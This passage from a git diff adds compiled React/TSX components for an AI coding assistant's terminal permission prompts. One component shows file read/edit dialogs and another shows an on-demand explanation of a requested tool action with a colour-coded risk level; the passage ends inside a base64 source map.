+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkJveCIsIlRleHQiLCJ1c2VUaGVtZSIsIkZhbGxiYWNrUGVybWlzc2lvblJlcXVlc3QiLCJGaWxlUGVybWlzc2lvbkRpYWxvZyIsIlRvb2xJbnB1dCIsIlBlcm1pc3Npb25SZXF1ZXN0UHJvcHMiLCJUb29sVXNlQ29uZmlybSIsInBhdGhGcm9tVG9vbFVzZSIsInRvb2xVc2VDb25maXJtIiwidG9vbCIsImdldFBhdGgiLCJpbnB1dCIsIkZpbGVzeXN0ZW1QZXJtaXNzaW9uUmVxdWVzdCIsInQwIiwiJCIsIl9jIiwib25Eb25lIiwib25SZWplY3QiLCJ2ZXJib3NlIiwidG9vbFVzZUNvbnRleHQiLCJ3b3JrZXJCYWRnZSIsInRoZW1lIiwidDEiLCJwYXRoIiwidDIiLCJ1c2VyRmFjaW5nTmFtZSIsImlzUmVhZE9ubHkiLCJ1c2VyRmFjaW5nUmVhZE9yRWRpdCIsInRpdGxlIiwicGFyc2VJbnB1dCIsIl90ZW1wIiwidDMiLCJyZW5kZXJUb29sVXNlTWVzc2FnZSIsInQ0IiwiY29udGVudCIsInQ1IiwidDYiXSwic291cmNlcyI6WyJGaWxlc3lzdGVtUGVybWlzc2lvblJlcXVlc3QudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB7IEJveCwgVGV4dCwgdXNlVGhlbWUgfSBmcm9tICcuLi8uLi8uLi9pbmsuanMnXG5pbXBvcnQgeyBGYWxsYmFja1Blcm1pc3Npb25SZXF1ZXN0IH0gZnJvbSAnLi4vRmFsbGJhY2tQZXJtaXNzaW9uUmVxdWVzdC5qcydcbmltcG9ydCB7IEZpbGVQZXJtaXNzaW9uRGlhbG9nIH0gZnJvbSAnLi4vRmlsZVBlcm1pc3Npb25EaWFsb2cvRmlsZVBlcm1pc3Npb25EaWFsb2cuanMnXG5pbXBvcnQgdHlwZSB7IFRvb2xJbnB1dCB9IGZyb20gJy4uL0ZpbGVQZXJtaXNzaW9uRGlhbG9nL3VzZUZpbGVQZXJtaXNzaW9uRGlhbG9nLmpzJ1xuaW1wb3J0IHR5cGUge1xuICBQZXJtaXNzaW9uUmVxdWVzdFByb3BzLFxuICBUb29sVXNlQ29uZmlybSxcbn0gZnJvbSAnLi4vUGVybWlzc2lvblJlcXVlc3QuanMnXG5cbmZ1bmN0aW9uIHBhdGhGcm9tVG9vbFVzZSh0b29sVXNlQ29uZmlybTogVG9vbFVzZUNvbmZpcm0pOiBzdHJpbmcgfCBudWxsIHtcbiAgY29uc3QgdG9vbCA9IHRvb2xVc2VDb25maXJtLnRvb2xcbiAgaWYgKCdnZXRQYXRoJyBpbiB0b29sICYmIHR5cGVvZiB0b29sLmdldFBhdGggPT09ICdmdW5jdGlvbicpIHtcbiAgICB0cnkge1xuICAgICAgcmV0dXJuIHRvb2wuZ2V0UGF0aCh0b29sVXNlQ29uZmlybS5pbnB1dClcbiAgICB9IGNhdGNoIHtcbiAgICAgIHJldHVybiBudWxsXG4gICAgfVxuICB9XG4gIHJldHVybiBudWxsXG59XG5cbmV4cG9ydCBmdW5jdGlvbiBGaWxlc3lzdGVtUGVybWlzc2lvblJlcXVlc3Qoe1xuICB0b29sVXNlQ29uZmlybSxcbiAgb25Eb25lLFxuICBvblJlamVjdCxcbiAgdmVyYm9zZSxcbiAgdG9vbFVzZUNvbnRleHQsXG4gIHdvcmtlckJhZGdlLFxufTogUGVybWlzc2lvblJlcXVlc3RQcm9wcyk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIGNvbnN0IFt0aGVtZV0gPSB1c2VUaGVtZSgpXG4gIGNvbnN0IHBhdGggPSBwYXRoRnJvbVRvb2xVc2UodG9vbFVzZUNvbmZpcm0pXG4gIGNvbnN0IHVzZXJGYWNpbmdOYW1lID0gdG9vbFVzZUNvbmZpcm0udG9vbC51c2VyRmFjaW5nTmFtZShcbiAgICB0b29sVXNlQ29uZmlybS5pbnB1dCBhcyBuZXZlcixcbiAgKVxuXG4gIGNvbnN0IGlzUmVhZE9ubHkgPSB0b29sVXNlQ29uZmlybS50b29sLmlzUmVhZE9ubHkodG9vbFVzZUNvbmZpcm0uaW5wdXQpXG4gIGNvbnN0IHVzZXJGYWNpbmdSZWFkT3JFZGl0ID0gaXNSZWFkT25seSA/ICdSZWFkJyA6ICdFZGl0J1xuXG4gIC8vIFVzZSBzaW1wbGUgc2luZ3VsYXIgZm9ybSAtIHRoZSBhY3R1YWwgb3BlcmF0aW9uIGRldGFpbHMgYXJlIHNob3duIGluIGNvbnRlbnRcbiAgY29uc3QgdGl0bGUgPSBgJHt1c2VyRmFjaW5nUmVhZE9yRWRpdH0gZmlsZWBcblxuICAvLyBTaW1wbGUgcGFzcy10aHJvdWdoIHBhcnNlciBzaW5jZSB3ZSBkb24ndCBuZWVkIHRvIHRyYW5zZm9ybSB0aGUgaW5wdXRcbiAgY29uc3QgcGFyc2VJbnB1dCA9IChpbnB1dDogdW5rbm93bik6IFRvb2xJbnB1dCA9PiBpbnB1dCBhcyBUb29sSW5wdXRcblxuICAvLyBGYWxsIGJhY2sgdG8gZ2VuZXJpYyBwZXJtaXNzaW9uIHJlcXVlc3QgaWYgbm8gcGF0aCBpcyBmb3VuZFxuICBpZiAoIXBhdGgpIHtcbiAgICByZXR1cm4gKFxuICAgICAgPEZhbGxiYWNrUGVybWlzc2lvblJlcXVlc3RcbiAgICAgICAgdG9vbFVzZUNvbmZpcm09e3Rvb2xVc2VDb25maXJtfVxuICAgICAgICB0b29sVXNlQ29udGV4dD17dG9vbFVzZUNvbnRleHR9XG4gICAgICAgIG9uRG9uZT17b25Eb25lfVxuICAgICAgICBvblJlamVjdD17b25SZWplY3R9XG4gICAgICAgIHZlcmJvc2U9e3ZlcmJvc2V9XG4gICAgICAgIHdvcmtlckJhZGdlPXt3b3JrZXJCYWRnZX1cbiAgICAgIC8+XG4gICAgKVxuICB9XG5cbiAgLy8gUmVuZGVyIHRvb2wgdXNlIG1lc3NhZ2UgY29udGVudFxuICBjb25zdCBjb250ZW50ID0gKFxuICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiIHBhZGRpbmdYPXsyfSBwYWRkaW5nWT17MX0+XG4gICAgICA8VGV4dD5cbiAgICAgICAge3VzZXJGYWNpbmdOYW1lfShcbiAgICAgICAge3Rvb2xVc2VDb25maXJtLnRvb2wucmVuZGVyVG9vbFVzZU1lc3NhZ2UoXG4gICAgICAgICAgdG9vbFVzZUNvbmZpcm0uaW5wdXQgYXMgbmV2ZXIsXG4gICAgICAgICAgeyB0aGVtZSwgdmVyYm9zZSB9LFxuICAgICAgICApfVxuICAgICAgICApXG4gICAgICA8L1RleHQ+XG4gICAgPC9Cb3g+XG4gIClcblxuICByZXR1cm4gKFxuICAgIDxGaWxlUGVybWlzc2lvbkRpYWxvZ1xuICAgICAgdG9vbFVzZUNvbmZpcm09e3Rvb2xVc2VDb25maXJtfVxuICAgICAgdG9vbFVzZUNvbnRleHQ9e3Rvb2xVc2VDb250ZXh0fVxuICAgICAgb25Eb25lPXtvbkRvbmV9XG4gICAgICBvblJlamVjdD17b25SZWplY3R9XG4gICAgICB3b3JrZXJCYWRnZT17d29ya2VyQmFkZ2V9XG4gICAgICB0aXRsZT17dGl0bGV9XG4gICAgICBjb250ZW50PXtjb250ZW50fVxuICAgICAgcGF0aD17cGF0aH1cbiAgICAgIHBhcnNlSW5wdXQ9e3BhcnNlSW5wdXR9XG4gICAgICBvcGVyYXRpb25UeXBlPXtpc1JlYWRPbmx5ID8gJ3JlYWQnIDogJ3dyaXRlJ31cbiAgICAgIGNvbXBsZXRpb25UeXBlPVwidG9vbF91c2Vfc2luZ2xlXCJcbiAgICAvPlxuICApXG59XG4iXSwibWFwcGluZ3MiOiI7QUFBQSxPQUFPQSxLQUFLLE1BQU0sT0FBTztBQUN6QixTQUFTQyxHQUFHLEVBQUVDLElBQUksRUFBRUMsUUFBUSxRQUFRLGlCQUFpQjtBQUNyRCxTQUFTQyx5QkFBeUIsUUFBUSxpQ0FBaUM7QUFDM0UsU0FBU0Msb0JBQW9CLFFBQVEsaURBQWlEO0FBQ3RGLGNBQWNDLFNBQVMsUUFBUSxvREFBb0Q7QUFDbkYsY0FDRUMsc0JBQXNCLEVBQ3RCQyxjQUFjLFFBQ1QseUJBQXlCO0FBRWhDLFNBQVNDLGVBQWVBLENBQUNDLGNBQWMsRUFBRUYsY0FBYyxDQUFDLEVBQUUsTUFBTSxHQUFHLElBQUksQ0FBQztFQUN0RSxNQUFNRyxJQUFJLEdBQUdELGNBQWMsQ0FBQ0MsSUFBSTtFQUNoQyxJQUFJLFNBQVMsSUFBSUEsSUFBSSxJQUFJLE9BQU9BLElBQUksQ0FBQ0MsT0FBTyxLQUFLLFVBQVUsRUFBRTtJQUMzRCxJQUFJO01BQ0YsT0FBT0Qs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
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/components/permissions/PermissionExplanation.tsx b/_all-in-one-upload/cc-haha/src/components/permissions/PermissionExplanation.tsx
new file mode 100644
index 0000000..b7fd36b
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/permissions/PermissionExplanation.tsx
@@ -0,0 +1,272 @@
+import { c as _c } from "react/compiler-runtime";
+import React, { Suspense, use, useState } from 'react';
+import { Box, Text } from '../../ink.js';
+import { useKeybinding } from '../../keybindings/useKeybinding.js';
+import { logEvent } from '../../services/analytics/index.js';
+import type { Message } from '../../types/message.js';
+import { generatePermissionExplanation, isPermissionExplainerEnabled, type PermissionExplanation as PermissionExplanationType, type RiskLevel } from '../../utils/permissions/permissionExplainer.js';
+import { ShimmerChar } from '../Spinner/ShimmerChar.js';
+import { useShimmerAnimation } from '../Spinner/useShimmerAnimation.js';
+const LOADING_MESSAGE = 'Loading explanation…';
+function ShimmerLoadingText() {
+  const $ = _c(7);
+  const [ref, glimmerIndex] = useShimmerAnimation("responding", LOADING_MESSAGE, false);
+  let t0;
+  if ($[0] !== glimmerIndex) {
+    t0 = LOADING_MESSAGE.split("").map((char, index) => <ShimmerChar key={index} char={char} index={index} glimmerIndex={glimmerIndex} messageColor="inactive" shimmerColor="text" />);
+    $[0] = glimmerIndex;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  let t1;
+  if ($[2] !== t0) {
+    t1 = <Text>{t0}</Text>;
+    $[2] = t0;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  let t2;
+  if ($[4] !== ref || $[5] !== t1) {
+    t2 = <Box ref={ref}>{t1}</Box>;
+    $[4] = ref;
+    $[5] = t1;
+    $[6] = t2;
+  } else {
+    t2 = $[6];
+  }
+  return t2;
+}
+function getRiskColor(riskLevel: RiskLevel): 'success' | 'warning' | 'error' {
+  switch (riskLevel) {
+    case 'LOW':
+      return 'success';
+    case 'MEDIUM':
+      return 'warning';
+    case 'HIGH':
+      return 'error';
+  }
+}
+function getRiskLabel(riskLevel: RiskLevel): string {
+  switch (riskLevel) {
+    case 'LOW':
+      return 'Low risk';
+    case 'MEDIUM':
+      return 'Med risk';
+    case 'HIGH':
+      return 'High risk';
+  }
+}
+type PermissionExplanationProps = {
+  toolName: string;
+  toolInput: unknown;
+  toolDescription?: string;
+  messages?: Message[];
+};
+type ExplainerState = {
+  visible: boolean;
+  enabled: boolean;
+  promise: Promise<PermissionExplanationType | null> | null;
+};
+
+/**
+ * Creates an explanation promise that never rejects.
+ * Errors are caught and returned as null.
+ */
+function createExplanationPromise(props: PermissionExplanationProps): Promise<PermissionExplanationType | null> {
+  return generatePermissionExplanation({
+    toolName: props.toolName,
+    toolInput: props.toolInput,
+    toolDescription: props.toolDescription,
+    messages: props.messages,
+    signal: new AbortController().signal // Won't abort - request is fast enough
+  }).catch(() => null);
+}
+
+/**
+ * Hook that manages the permission explainer state.
+ * Creates the fetch promise lazily (only when user hits Ctrl+E)
+ * to avoid consuming tokens for explanations users never view.
+ */
+export function usePermissionExplainerUI(props) {
+  const $ = _c(9);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = isPermissionExplainerEnabled();
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const enabled = t0;
+  const [visible, setVisible] = useState(false);
+  const [promise, setPromise] = useState(null);
+  let t1;
+  if ($[1] !== promise || $[2] !== props || $[3] !== visible) {
+    t1 = () => {
+      if (!visible) {
+        logEvent("tengu_permission_explainer_shortcut_used", {});
+        if (!promise) {
+          setPromise(createExplanationPromise(props));
+        }
+      }
+      setVisible(_temp);
+    };
+    $[1] = promise;
+    $[2] = props;
+    $[3] = visible;
+    $[4] = t1;
+  } else {
+    t1 = $[4];
+  }
+  let t2;
+  if ($[5] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = {
+      context: "Confirmation",
+      isActive: enabled
+    };
+    $[5] = t2;
+  } else {
+    t2 = $[5];
+  }
+  useKeybinding("confirm:toggleExplanation", t1, t2);
+  let t3;
+  if ($[6] !== promise || $[7] !== visible) {
+    t3 = {
+      visible,
+      enabled,
+      promise
+    };
+    $[6] = promise;
+    $[7] = visible;
+    $[8] = t3;
+  } else {
+    t3 = $[8];
+  }
+  return t3;
+}
+
+/**
+ * Inner component that uses React 19's use() to read the promise.
+ * Suspends while loading, returns null on error.
+ */
+function _temp(v) {
+  return !v;
+}
+function ExplanationResult(t0) {
+  const $ = _c(21);
+  const {
+    promise
+  } = t0;
+  const explanation = use(promise);
+  if (!explanation) {
+    let t1;
+    if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+      t1 = <Box marginTop={1}><Text dimColor={true}>Explanation unavailable</Text></Box>;
+      $[0] = t1;
+    } else {
+      t1 = $[0];
+    }
+    return t1;
+  }
+  let t1;
+  if ($[1] !== explanation.explanation) {
+    t1 = <Text>{explanation.explanation}</Text>;
+    $[1] = explanation.explanation;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  let t2;
+  if ($[3] !== explanation.reasoning) {
+    t2 = <Box marginTop={1}><Text>{explanation.reasoning}</Text></Box>;
+    $[3] = explanation.reasoning;
+    $[4] = t2;
+  } else {
+    t2 = $[4];
+  }
+  let t3;
+  if ($[5] !== explanation.riskLevel) {
+    t3 = getRiskColor(explanation.riskLevel);
+    $[5] = explanation.riskLevel;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  let t4;
+  if ($[7] !== explanation.riskLevel) {
+    t4 = getRiskLabel(explanation.riskLevel);
+    $[7] = explanation.riskLevel;
+    $[8] = t4;
+  } else {
+    t4 = $[8];
+  }
+  let t5;
+  if ($[9] !== t3 || $[10] !== t4) {
+    t5 = <Text color={t3}>{t4}:</Text>;
+    $[9] = t3;
+    $[10] = t4;
+    $[11] = t5;
+  } else {
+    t5 = $[11];
+  }
+  let t6;
+  if ($[12] !== explanation.risk) {
+    t6 = <Text> {explanation.risk}</Text>;
+    $[12] = explanation.risk;
+    $[13] = t6;
+  } else {
+    t6 = $[13];
+  }
+  let t7;
+  if ($[14] !== t5 || $[15] !== t6) {
+    t7 = <Box marginTop={1}><Text>{t5}{t6}</Text></Box>;
+    $[14] = t5;
+    $[15] = t6;
+    $[16] = t7;
+  } else {
+    t7 = $[16];
+  }
+  let t8;
+  if ($[17] !== t1 || $[18] !== t2 || $[19] !== t7) {
+    t8 = <Box flexDirection="column" marginTop={1}>{t1}{t2}{t7}</Box>;
+    $[17] = t1;
+    $[18] = t2;
+    $[19] = t7;
+    $[20] = t8;
+  } else {
+    t8 = $[20];
+  }
+  return t8;
+}
+
+/**
+ * Content component - shows loading (via Suspense) or explanation when visible
+ */
+export function PermissionExplainerContent(t0) {
+  const $ = _c(3);
+  const {
+    visible,
+    promise
+  } = t0;
+  if (!visible || !promise) {
+    return null;
+  }
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = <Box marginTop={1}><ShimmerLoadingText /></Box>;
+    $[0] = t1;
+  } else {
+    t1 = $[0];
+  }
+  let t2;
+  if ($[1] !== promise) {
+    t2 = <Suspense fallback={t1}><ExplanationResult promise={promise} /></Suspense>;
+    $[1] = promise;
+    $[2] = t2;
+  } else {
+    t2 = $[2];
+  }
+  return t2;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIlN1c3BlbnNlIiwidXNlIiwidXNlU3RhdGUiLCJCb3giLCJUZXh0IiwidXNlS2V5YmluZGluZyIsImxvZ0V2ZW50IiwiTWVzc2FnZSIsImdlbmVyYXRlUGVybWlzc2lvbkV4cGxhbmF0aW9uIiwiaXNQZXJtaXNzaW9uRXhwbGFpbmVyRW5hYmxlZCIsIlBlcm1pc3Npb25FeHBsYW5hdGlvbiIsIlBlcm1pc3Npb25FeHBsYW5hdGlvblR5cGUiLCJSaXNrTGV2ZWwiLCJTaGltbWVyQ2hhciIsInVzZVNoaW1tZXJBbmltYXRpb24iLCJMT0FESU5HX01FU1NBR0UiLCJTaGltbWVyTG9hZGluZ1RleHQiLCIkIiwiX2MiLCJyZWYiLCJnbGltbWVySW5kZXgiLCJ0MCIsInNwbGl0IiwibWFwIiwiY2hhciIsImluZGV4IiwidDEiLCJ0MiIsImdldFJpc2tDb2xvciIsInJpc2tMZXZlbCIsImdldFJpc2tMYWJlbCIsIlBlcm1pc3Npb25FeHBsYW5hdGlvblByb3BzIiwidG9vbE5hbWUiLCJ0b29sSW5wdXQiLCJ0b29sRGVzY3JpcHRpb24iLCJtZXNzYWdlcyIsIkV4cGxhaW5lclN0YXRlIiwidmlzaWJsZSIsImVuYWJsZWQiLCJwcm9taXNlIiwiUHJvbWlzZSIsImNyZWF0ZUV4cGxhbmF0aW9uUHJvbWlzZSIsInByb3BzIiwic2lnbmFsIiwiQWJvcnRDb250cm9sbGVyIiwiY2F0Y2giLCJ1c2VQZXJtaXNzaW9uRXhwbGFpbmVyVUkiLCJTeW1ib2wiLCJmb3IiLCJzZXRWaXNpYmxlIiwic2V0UHJvbWlzZSIsIl90ZW1wIiwiY29udGV4dCIsImlzQWN0aXZlIiwidDMiLCJ2IiwiRXhwbGFuYXRpb25SZXN1bHQiLCJleHBsYW5hdGlvbiIsInJlYXNvbmluZyIsInQ0IiwidDUiLCJ0NiIsInJpc2siLCJ0NyIsInQ4IiwiUGVybWlzc2lvbkV4cGxhaW5lckNvbnRlbnQiXSwic291cmNlcyI6WyJQZXJtaXNzaW9uRXhwbGFuYXRpb24udHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCBSZWFjdCwgeyBTdXNwZW5zZSwgdXNlLCB1c2VTdGF0ZSB9IGZyb20gJ3JlYWN0J1xuaW1wb3J0IHsgQm94LCBUZXh0IH0gZnJvbSAnLi4vLi4vaW5rLmpzJ1xuaW1wb3J0IHsgdXNlS2V5YmluZGluZyB9IGZyb20gJy4uLy4uL2tleWJpbmRpbmdzL3VzZUtleWJpbmRpbmcuanMnXG5pbXBvcnQgeyBsb2dFdmVudCB9IGZyb20gJy4uLy4uL3NlcnZpY2VzL2FuYWx5dGljcy9pbmRleC5qcydcbmltcG9ydCB0eXBlIHsgTWVzc2FnZSB9IGZyb20gJy4uLy4uL3R5cGVzL21lc3NhZ2UuanMnXG5pbXBvcnQge1xuICBnZW5lcmF0ZVBlcm1pc3Npb25FeHBsYW5hdGlvbixcbiAgaXNQZXJtaXNzaW9uRXhwbGFpbmVyRW5hYmxlZCxcbiAgdHlwZSBQZXJtaXNzaW9uRXhwbGFuYXRpb24gYXMgUGVybWlzc2lvbkV4cGxhbmF0aW9uVHlwZSxcbiAgdHlwZSBSaXNrTGV2ZWwsXG59IGZyb20gJy4uLy4uL3V0aWxzL3Blcm1pc3Npb25zL3Blcm1pc3Npb25FeHBsYWluZXIuanMnXG5pbXBvcnQgeyBTaGltbWVyQ2hhciB9IGZyb20gJy4uL1NwaW5uZXIvU2hpbW1lckNoYXIuanMnXG5pbXBvcnQgeyB1c2VTaGltbWVyQW5pbWF0aW9uIH0gZnJvbSAnLi4vU3Bpbm5lci91c2VTaGltbWVyQW5pbWF0aW9uLmpzJ1xuXG5jb25zdCBMT0FESU5HX01FU1NBR0UgPSAnTG9hZGluZyBleHBsYW5hdGlvbuKApidcblxuZnVuY3Rpb24gU2hpbW1lckxvYWRpbmdUZXh0KCk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIGNvbnN0IFtyZWYsIGdsaW1tZXJJbmRleF0gPSB1c2VTaGltbWVyQW5pbWF0aW9uKFxuICAgICdyZXNwb25kaW5nJyxcbiAgICBMT0FESU5HX01FU1NBR0UsXG4gICAgZmFsc2UsXG4gIClcblxuICByZXR1cm4gKFxuICAgIDxCb3ggcmVmPXtyZWZ9PlxuICAgICAgPFRleHQ+XG4gICAgICAgIHtMT0FESU5HX01FU1NBR0Uuc3BsaXQoJycpLm1hcCgoY2hhc